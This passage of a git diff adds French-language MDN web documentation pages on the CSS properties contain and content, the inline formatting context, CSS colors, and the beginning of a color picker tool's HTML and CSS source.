+ <li>un nouveau <a href="/fr/docs/Web/CSS/A_Propos_Du_Bloc_Conteneur">bloc englobant</a> (le bloc servant de référence pour les éléments fils dont la position sera absolue ou <code>fixed</code>)</li>
+ <li>un nouveau <a href="/fr/docs/Web/CSS/Comprendre_z-index/Empilement_de_couches">contexte d'empilement</a></li>
+ <li>un nouveau <a href="/fr/docs/Web/CSS/Block_formatting_context">contexte de formatage de bloc</a>.</li>
+</ul>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>L'élément est affiché normalement, aucun confinement n'est appliqué.</dd>
+ <dt><code>strict</code></dt>
+ <dd>Toutes les règles possibles de confinement à l'exception de <code>style</code> sont appliquées. Cela correspond à <code>contain: size layout paint</code>.</dd>
+ <dt><code>content</code></dt>
+ <dd>Toutes les règles de confinement, à l'exception de celles pour <code>size</code> et <code>style</code>, sont appliquées à l'élément. Cela est équivalent à <code>contain: layout paint</code>.</dd>
+ <dt><code>size</code></dt>
+ <dd>Cette valeur indique que l'élément peut être dimensionné sans avoir à examiner les éléments descendants pour les modifications de la taille.</dd>
+ <dt><code>layout</code></dt>
+ <dd>Cette valeur indique qu'aucun élément en dehors de l'élément, ne peut impacter sa disposition interne et réciproquement.</dd>
+ <dt><code>style</code></dt>
+ <dd>Cette valeur indique que les propriétés ayant un effet sur un un élément et ses descendants voire plus sont bien limitées à l'élément englobant.</dd>
+ <dt><code>paint</code></dt>
+ <dd>Cette valeur indique que les éléments descendants de l'élément ne sont pas affichés en dehors de ses limites. Si un élément est en dehors de l'écran ou n'est pas visible, cette valeur assure que les éléments descendants ne sont pas visibles non plus.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Containment')}}</td>
+   <td>{{Spec2('CSS Containment')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.contain")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété CSS {{cssxref("position")}}</li>
+</ul>
diff --git a/files/fr/web/css/content/index.html b/files/fr/web/css/content/index.html
new file mode 100644
index 0000000000..6734f52912
--- /dev/null
+++ b/files/fr/web/css/content/index.html
@@ -0,0 +1,268 @@
+---
+title: content
+slug: Web/CSS/content
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/content
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>content</code></strong> est utilisée avec les pseudo-éléments {{cssxref("::before")}} et {{cssxref("::after")}} afin de générer le contenu d'un élément. Les objets insérés via la propriété <code>content</code> sont des <em><a href="/fr/docs/Web/CSS/Élément_remplacé">éléments remplacés anonymes</a>.</em></p>
+
+<pre class="brush: css no-line-numbers">/* Des mots-clés qui ne peuvent pas être mélangés
+  avec d'autres valeurs */
+content: normal;
+content: none;
+
+/* Valeurs pour une image */
+content: url("http://www.example.com/test.png");
+content: linear-gradient(#e66465, #9198e5);
+
+/* Une valeur &lt;string&gt;, les caractères non-latin */
+/* doivent être échappées par ex. \000A9 for &amp;copy; */
+content: 'prefix';
+
+/* Valeurs utilisant un compteur */
+content: counter(compteur_chapitre);
+content: counter(compteur_section, ".");
+
+/* attr() lie à la valeur de l'attribut HTML */
+content: attr(value string);
+
+/* Mots-clés dépendant de langue */
+/* ou de la position             */
+content: open-quote;
+content: close-quote;
+content: no-open-quote;
+content: no-close-quote;
+
+/* Sauf avec normal et none, on peut utiliser */
+/* plusieurs valeurs de façon simultanée */
+content: open-quote chapter_counter;
+
+/* Valeurs globales */
+content: inherit;
+content: initial;
+content: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Le pseudo-élément n'est pas généré.</dd>
+ <dt><code>normal</code></dt>
+ <dd>Résulte en <code>none</code> pour les pseudo-éléments <code>:before</code> et <code>:after</code>.</dd>
+ <dt>{{cssxref("&lt;string&gt;")}}</dt>
+ <dd>Contenu sous forme de texte. Les caractères non-latins doivent être encodés avec leur séquence d'échappement Unicode (<code>\000A9</code> représentera par exemple le symbole ©).</dd>
+ <dt>{{cssxref("&lt;image&gt;")}}</dt>
+ <dd>Une image (valeur de type {{cssxref("&lt;image&gt;")}}) de type {{cssxref("&lt;url&gt;")}} ou {{cssxref("&lt;gradient&gt;")}} ou une partie de la page web fournie par la fonction {{cssxref("element", "element()")}} et qui indique le contenu à afficher.</dd>
+ <dt><code>counter()</code> ou <code>counters()</code> (cf. {{cssxref("&lt;counter&gt;")}})</dt>
+ <dd>Un compteur CSS, généralement un nombre, qui peut être affiché grâce à la fonction {{cssxref("counter")}} or {{cssxref("counters")}}.</dd>
+ <dd>La première possède deux formes : 'counter(<var>name</var>)' ou 'counter(<var>name</var>, <var>style</var>)'. Le texte généré est la valeur du compteur le plus profond possédant un nom donné dans ce pseudo-élément ; il est formaté selon le style indiqué (<code>decimal</code> par défaut).</dd>
+ <dd>La seconde a également deux formes : <code>counters(<var>name</var>, <var>string</var>)</code> ou <code>counters(<var>name</var>, <var>string</var>, <var>style</var>)</code>. Le texte généré est la valeur de tous les compteurs d'un nom donné dans ce pseudo-élément, depuis le moins profond jusqu'au plus profond séparés par la chaîne définie. Les compteurs sont formatés selon le style indiqué (<code>decimal</code> par défaut). Voir <a href="/fr/docs/Web/CSS/counter">la section sur les compteurs automatiques</a> et sur la numérotation pour plus d'informations.</dd>
+ <dt><code>attr(X)</code></dt>
+ <dd>Renvoie la valeur de l'attribut X de l'élément comme une chaîne. S'il n'existe pas d'attribut X, une chaîne vide est renvoyée. La sensibilité à la casse du nom de l'attribut dépend du langage utilisé.</dd>
+ <dt><code>open-quote</code> | <code>close-quote</code></dt>
+ <dd>Ces valeurs sont remplacées par la chaîne appropriée de la propriété {{ cssxref("quotes") }}.</dd>
+ <dt><code>no-open-quote</code> | <code>no-close-quote</code></dt>
+ <dd>N'introduit aucun contenu, mais incrémente (respectivement décrémente) le niveau d'imbrication des citations.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Titres_et_citations">Titres et citations</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;h1&gt;5&lt;/h1&gt;
+&lt;p&gt; Commençons par une citation de Sir Tim Berners-Lee,
+    &lt;q cite="http://www.w3.org/People/Berners-Lee/FAQ.html#Internet"&gt;
+        I was lucky enough to invent the Web at the time when the Internet already existed - and had for a decade and a half.&lt;/q&gt;  We must understand that there is nothing fundamentally wrong with building on the contributions of others.
+&lt;/p&gt;
+
+&lt;h1&gt;6&lt;/h1&gt;
+&lt;p&gt; Citons le manifeste Mozilla
+    &lt;q cite="http://www.mozilla.org/about/manifesto/"&gt;
+        Internet est une ressource publique mondiale qui doit demeurer ouverte et accessible.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">q {
+    color: #00008B;
+    font-style: italic;
+}
+
+q::before   { content: open-quote }
+q::after    { content: close-quote }
+
+h1::before  { content: "Chapitre "; }</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Titres_et_citations', 460, 100)}}</p>
+
+<h3 id="Ajouter_une_icône_avant_un_lien">Ajouter une icône avant un lien</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;a href="http://www.mozilla.org/fr/"&gt;Accueil&lt;/a&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">a::before{
+    content: url(https://mozorg.cdn.mozilla.net/media/img/favicon.ico) " MOZILLA: ";
+    font:    x-small Arial,freeSans,sans-serif;
+    color:   gray;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Ajouter_une_icône_avant_un_lien', 200, 60)}}</p>
+
+<h3 id="Utiliser_les_classes">Utiliser les classes</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;h2&gt;Top des ventes&lt;/h2&gt;
+&lt;ol&gt;
+    &lt;li&gt;Thriller politique&lt;/li&gt;
+    &lt;li class="nouveaute"&gt;Histoires effrayantes&lt;/li&gt;
+    &lt;li&gt;Ma biographie&lt;/li&gt;
+    &lt;li class="nouveaute"&gt;Bit-lit&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.nouveaute::after {
+    content: " Nouveau !";
+    color: red;
+}</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample('Utiliser_les_classes', 300, 200)}}</p>
+
+<h3 id="Utiliser_les_attributs_d’image_et_d’élément">Utiliser les attributs d’image et d’élément</h3>
+
+<p>Dans cet exemple, on insère une image avant chaque lien et on ajoute son identifiant après.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;a id="moz" href="https://www.mozilla.org/"&gt;Page d'accueil Mozilla&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a id="mdn" href="https://developer.mozilla.org/"&gt;Mozilla Developer Network&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS_4">CSS</h4>
+
+<pre class="brush: css">a {
+  text-decoration: none;
+  border-bottom: 3px dotted navy;
+}
+
+a::after {
+  content: " (" attr(id) ")";
+}
+
+#moz::before {
+  content: url("https://mozorg.cdn.mozilla.net/media/img/favicon.ico");
+}
+
+#mdn::before {
+  content: url("https://mozorg.cdn.mozilla.net/files/7691/mdn-favicon16.ico");
+}
+
+li {
+  margin: 1em;
+}</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample("Utiliser_les_attributs_d’images_et_d’élément", '100%', 160)}}</p>
+
+<h3 id="Remplacer_un_élément">Remplacer un élément</h3>
+
+<p>Dans cet exemple, on remplace le contenu d'un élément avec une image. Il est possible de remplacer le contenu d'un élément avec une valeur de type {{cssxref("&lt;url&gt;")}} ou {{cssxref("&lt;image&gt;")}} . Le contenu ajouté avec <code>::before</code> ou avec <code>::after</code> ne sera plus généré car l'élément sera devenu un élément remplacé.</p>
+
+<h4 id="HTML_5">HTML</h4>
+
+<pre class="brush: html">&lt;div id="replaced"&gt;Mozilla&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_5">CSS</h4>
+
+<pre class="brush: css">#replaced {
+  content: url("https://mdn.mozillademos.org/files/12668/MDN.svg");
+}
+
+#replaced::after { /* Ceci ne sera pas affiché, */
+                   /* l'élément sera un élément remplacé */
+  content: " (" attr(id) ")";
+}</pre>
+
+<h4 id="Résultat_5">Résultat</h4>
+
+<p>{{EmbedLiveSample('Remplacer_un_élément', '100%', 200)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Le contenu généré par CSS n'est pas inclus dans le <a href="/fr/docs/Web/API/Document_Object_Model/Introduction">DOM</a>. Pour cette raison, il ne fait pas partie de l'<a href="/fr/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">arbre d'accessibilité</a> et certaines technologies d'assistances ou certains navigateurs ne permettront pas d'annoncer ce contenu. Si ce contenu porte des informations essentielles à la compréhension de la page, il faut inclure ces informations de façon sémantique dans le document principal.</p>
+
+<ul>
+ <li><a href="https://tink.uk/accessibility-support-for-css-generated-content/">La prise en charge relative à l'accessibilité pour les contenus générés par CSS generated content – Tink (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.3_%E2%80%94_Create_content_that_can_be_presented_in_different_ways">Comprendre les règles WCAG 1.3</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/content-structure-separation-programmatic.html"><em>Understanding Success Criterion 1.3.1 | W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Content", "#content-property", "content")}}</td>
+   <td>{{Spec2("CSS3 Content")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'generate.html#content', 'content')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.content")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("::after")}}</li>
+ <li>{{cssxref("::before")}}</li>
+ <li>{{cssxref("quotes")}}</li>
+ <li>{{Cssxref("::marker")}}</li>
+ <li>{{cssxref("url()", "url()")}}</li>
+</ul>
diff --git a/files/fr/web/css/contexte_de_formatage_en_ligne/index.html b/files/fr/web/css/contexte_de_formatage_en_ligne/index.html
new file mode 100644
index 0000000000..bb40bcce6d
--- /dev/null
+++ b/files/fr/web/css/contexte_de_formatage_en_ligne/index.html
@@ -0,0 +1,63 @@
+---
+title: Contexte de formatage en ligne (inline/incise)
+slug: Web/CSS/Contexte_de_formatage_en_ligne
+tags:
+  - CSS
+  - Guide
+translation_of: Web/CSS/Inline_formatting_context
+---
+<p>{{CSSRef}}</p>
+
+<p>Dans cet article, nous allons voir ce qu'est le contexte de formatage en ligne (<em>inline formatting context</em>).</p>
+
+<h2 id="Concepts-clés">Concepts-clés</h2>
+
+<p>Le contexte de formatage en ligne est une des méthodes permettant de créer le rendu visuel d'une page web. Les boîtes en ligne sont disposées les unes après les autres selon le mode d'écriture utilisé :</p>
+
+<ul>
+ <li>Pour un mode d'écriture horizontal, les boîtes en ligne sont disposées horizontalement de la gauche vers la droite.</li>
+ <li>Pour une mode d'écriture vertical, les boîtes en lignes sont disposées verticalement du haut vers le bas.</li>
+</ul>
+
+<p>Dans l'exemple qui suit, on a deux éléments ({{HTMLElement("div")}}) avec une bordure noire qui forment chacuns <a href="/fr/docs/Web/CSS/Block_formatting_context">un contexte de formatage de bloc</a> au sein duquel chaque mot contribue à un contexte de formatage en ligne. Les boîtes utilisées dans le mode d'écriture horizontal sont organisées horizontalement tandis que celles dans l'élément avec un mode d'écriture vertical sont disposées verticalement.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/inline-formatting/inline.html", '100%', 720)}}</p>
+
+<p>Les boîtes qui forment une ligne sont contenues dans une zone rectangulaire qu'on appelle boîte de ligne (<em>line box</em>). Cette boîte sera assez grande pour contenir l'ensemble des boîtes en ligne de cette ligne. Lorsqu'il n'y a plus de place disponible sur l'axe en ligne, une autre ligne est créée. Ainsi, un paragraphe est formé par un ensemble de boîtes de ligne, empilées le long de l'axe de bloc.</p>
+
+<p>Lorsqu'une boîte en ligne est découpée en deux, les marges, bordures et le remplissage (<em>padding</em>) n'ont pas d'impact visuel à l'emplacement de la séparation. Dans le prochain exemple, on peut voir un élément ({{HTMLElement("span")}}) enveloppant un ensemble de mots s'étirant sur deux lignes. On voit que la bordure sur <code>&lt;span&gt;</code> est coupée au passage à la ligne.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/inline-formatting/break.html", '100%', 720)}}</p>
+
+<p>Les marges, les bordures et le remplissage (<em>padding</em>) le long de la direction en ligne sont respectés. Dans l'exemple suivant, on peut voir comment sont ajoutés les marges, bordures et le remplissage à l'élément en ligne <code>&lt;span&gt;</code> qui a été ajouté.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/inline-formatting/mbp.html", '100%', 920)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong> : Dans ces exemples, on utilise les propriétés logiques (relatives à la direction du flux avec le mode d'écriture et la directionnalité) (ex. {{cssxref("padding-inline-start")}} plutôt que {{cssxref("padding-left")}}) afin qu'elles s'appliquent le long de la direction en ligne, que le texte soit horizontal ou vertical. Pour en savoir plus sur ces propriétés, voir <a href="/fr/docs/Web/CSS/CSS_Logical_Properties">les propriétés et les valeurs logiques en CSS</a>.</p>
+</div>
+
+<h2 id="Alignement_sur_la_direction_de_bloc_block">Alignement sur la direction de bloc (<em>block</em>)</h2>
+
+<p>Les boîtes en ligne peuvent être alignées sur la direction de bloc de différentes façons avec la propriété {{cssxref("vertical-align")}}. Celle-ci permettra d'aligner le contenu sur l'axe de bloc (lorsque le mode d'écriture est vertical, <code>vertical-align</code> ne permet pas d'aligner sur l'axe vertical !). Dans l'exemple qui suit, une portion de texte plus grande rend la boîte de ligne plus grande pour la première phrase. On peut alors utiliser <code>vertical-align</code> afin d'aligner les boîtes en ligne. L'exemple utilise initialement la valeur <code>top</code> mais vous pouvez le modifier en utilisant <code>middle</code>, <code>bottom</code> ou encore <code>baseline</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/inline-formatting/align.html", '100%', 920)}}</p>
+
+<h2 id="Alignement_le_long_de_la_direction_en_ligne_inline">Alignement le long de la direction en ligne (<em>inline</em>)</h2>
+
+<p>S'il reste de l'espace le long de la direction en ligne, la propriété {{cssxref("text-align")}} permetra d'aligner le contenu des boîtes en lignes au sein des boîtes de ligne. Dans l'exemple qui suit, vous pouvez notamment changer la valeur de <code>text-align</code> afin d'utiliser <code>end</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/inline-formatting/text-align.html", '100%', 920)}}</p>
+
+<h2 id="Effets_du_flottement_float">Effets du flottement (<code>float</code>)</h2>
+
+<p>Les boîtes de ligne ont généralement la même taille sur l'axe en ligne (c'est-à-dire la même largeur quand on utilise un mode d'écriture horizontal ou la même hauteur si on utilise un mode d'écriture vertical). S'il existe un élément flottant ({{cssxref("float")}}) au sein du même contexte de formatage de bloc, cet élément entraînera la diminution de la taille des boîtes de ligne pour celles qui entourent l'élément flottant.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Block_formatting_context">Le contexte de formatage en bloc</a></li>
+ <li><a href="/fr/docs/Web/CSS/Modèle_de_mise_en_forme_visuelle">Le modèle de formatage visuel</a></li>
+</ul>
diff --git a/files/fr/web/css/couleurs_css/index.html b/files/fr/web/css/couleurs_css/index.html
new file mode 100644
index 0000000000..75f099f9d7
--- /dev/null
+++ b/files/fr/web/css/couleurs_css/index.html
@@ -0,0 +1,132 @@
+---
+title: Couleurs CSS
+slug: Web/CSS/Couleurs_CSS
+tags:
+  - Aperçu
+  - CSS
+  - CSS Color
+  - Reference
+translation_of: Web/CSS/CSS_Color
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Les couleurs CSS</strong> (<em>CSS Color</em> en anglais) forment un module CSS qui décrit la manipulation des couleurs, les types de données liées aux couleurs et l'application de la transparence en CSS.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+</ul>
+</div>
+
+<h3 id="Types_de_donnée">Types de donnée</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs sur des éléments HTML grâce à CSS</a></dt>
+ <dd>Un guide qui illustre comment utiliser CSS afin d'appliquer des couleurs sur différents contenus.</dd>
+</dl>
+
+<h2 id="Outils">Outils</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Couleurs_CSS/Sélecteur_de_couleurs">Un sélecteur de couleurs</a></dt>
+ <dd>Cet outil vous permet de créer, ajuster et manipuler des couleurs.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Colors')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Attention, en CSS, les dégradés de couleurs ne sont pas des couleurs mais <a href="/fr/docs/Web/CSS/CSS_Images">des images</a>.</li>
+ <li>Les autres propriétés relatives aux couleurs et qui font partie d'autres modules de spécification : {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}}.</li>
+</ul>
diff --git a/files/fr/web/css/couleurs_css/sélecteur_de_couleurs/index.html b/files/fr/web/css/couleurs_css/sélecteur_de_couleurs/index.html
new file mode 100644
index 0000000000..df4aa4661c
--- /dev/null
+++ b/files/fr/web/css/couleurs_css/sélecteur_de_couleurs/index.html
@@ -0,0 +1,3235 @@
+---
+title: Sélecteur de couleurs CSS
+slug: Web/CSS/Couleurs_CSS/Sélecteur_de_couleurs
+tags:
+  - CSS
+  - Outil
+translation_of: Web/CSS/CSS_Colors/Color_picker_tool
+---
+<div style="display: none;">
+<h2 id="ColorPIcker_Tool" name="ColorPIcker_Tool">ColorPIcker Tool</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html"> &lt;div id="container"&gt;
+  &lt;div id="palette" class="block"&gt;
+   &lt;div id="color-palette"&gt;&lt;/div&gt;
+   &lt;div id="color-info"&gt;
+    &lt;div class="title"&gt;Couleurs CSS &lt;/div&gt;
+   &lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;div id="picker" class="block"&gt;
+   &lt;div class="ui-color-picker" data-topic="picker" data-mode="HSL"&gt;&lt;/div&gt;
+   &lt;div id="picker-samples" sample-id="master"&gt;&lt;/div&gt;
+   &lt;div id="controls"&gt;
+    &lt;div id="delete"&gt;
+     &lt;div id="trash-can"&gt;&lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div id="void-sample" class="icon"&gt;&lt;/div&gt;
+   &lt;/div&gt;
+  &lt;/div&gt;
+
+  &lt;div id="canvas" data-tutorial="drop"&gt;
+   &lt;div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+    data-max="20" data-sensivity="10"&gt;&lt;/div&gt;
+  &lt;/div&gt;
+ &lt;/div&gt;
+
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+	width: 420px;
+	margin: 0;
+	border: 1px solid #DDD;
+	background-color: #FFF;
+	display: table;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-color-picker .picking-area {
+	width: 198px;
+	height: 198px;
+	margin: 5px;
+	border: 1px solid #DDD;
+	position: relative;
+	float: left;
+	display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+	cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+	background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+	background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+	background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+				-o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+	background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+	background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+									hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+				-o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+	background-color: #F00;
+}
+
+.ui-color-picker .picker {
+	width: 10px;
+	height: 10px;
+	border-radius: 50%;
+	border: 1px solid #FFF;
+	position: absolute;
+	top: 45%;
+	left: 45%;
+}
+
+.ui-color-picker .picker:before {
+	width: 8px;
+	height: 8px;
+	content: "";
+	position: absolute;
+	border: 1px solid #999;
+	border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+	width: 198px;
+	height: 28px;
+	margin: 5px;
+	border: 1px solid #FFF;
+	float: left;
+}
+
+.ui-color-picker .hue {
+	background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+	background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+	background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+				#00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+	border: 1px solid #CCC;
+	background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
